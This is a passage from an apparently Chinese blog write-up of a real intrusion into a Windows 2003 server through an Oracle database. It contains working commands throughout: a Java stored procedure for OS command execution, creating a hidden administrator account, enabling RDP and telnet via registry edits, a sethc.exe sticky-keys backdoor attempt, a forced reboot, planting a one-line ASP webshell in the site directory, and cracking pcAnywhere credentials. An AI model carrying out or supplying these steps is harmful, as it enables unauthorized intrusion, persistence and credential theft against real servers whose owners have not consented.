create or replace
function run_cmz(p_cmd in varchar2) return number
as
language java
name 'util.runthis(java.lang.string) return integer';
第三步:
create or replace procedure rc(p_cmd in varchar)
as
x number;
begin
x := run_cmz(p_cmd);
end;
创建完之后,就可以通过x := run_cmz(dos命令)来执行系统命令了。
建 完存储过程后系统命令执行成功, 如图

但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp://ftp.exe/,确定对方不能连接外网,可能有防火墙或作了设置,于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户然后开3389,执行exec :x := run_cmd('net user')结果卡死,猜测net被删,执行
exec :x := run_cmd('net1 user');
成功,执行
exec :x := run_cmd('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令读下3389的状态和端口,执行
exec :x := run_cmd('reg query "hkey_local_machine\system\currentcontrolset\control\terminal server"');
发现fdenytsconnections值为1,说明3389关闭,于是依次执行以下语句开3389:
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server\wds\rdpwd\tds\tcp" /v portnumber /t reg_dword /d 3389 /f
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 /f
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\rdp-tcp" /v portnumber /t reg_dword /d 3389 /f
因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在shell下依次执行:
exec :x :=run_cmd ('del c:\windows\system32\sethc.exe /f')
exec :x :=run_cmd('del c:\windows\system32\dllcache\sethc.exe /f')
exec :x :=run_cmd('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行
reg add "hkey_local_machine\system\currentcontrolset\services\tlntsvr" /v start /t reg_dword /d 2 /f
把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。
柳暗花明:
shell里执行
rundll32.exe user.exe,restartwindows
,不一会主机重启了,成功telnet,这样权限我们已经拿到了!但是要向图像界面进军,在telnet执行netstat -an看了下端口,发现5632,熟悉提权的人应该很熟悉,这是pcanywhere的默认端口,但是怎么才能知道pcanywhere的密码呢?因为不能连接外网,所以直接传cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目录d:\site,执行
echo "" >d:\site\guestboook.asp
访问成功,然后用海洋一句话提交大马成功如图:

跳转到pcanywhere的cif文件目录下载cif文件并破解,成功得到pcanywhere的密码,如图:

到这基本就结束了,但是pcanywhere远程很不爽,于是还是想开用3389,于是百度搜索原因,发现是3389和pcanywhere冲突的原因并找到了解决办法,删除某个注册表项就搞定了,在pcanywhere操作就很简单了,搞定后重启服务器,连接对方3389,终于看到了熟悉的登录界面,用前面建的用户成功登入!如图:

至此整个入侵过程宣告结束!
发表评论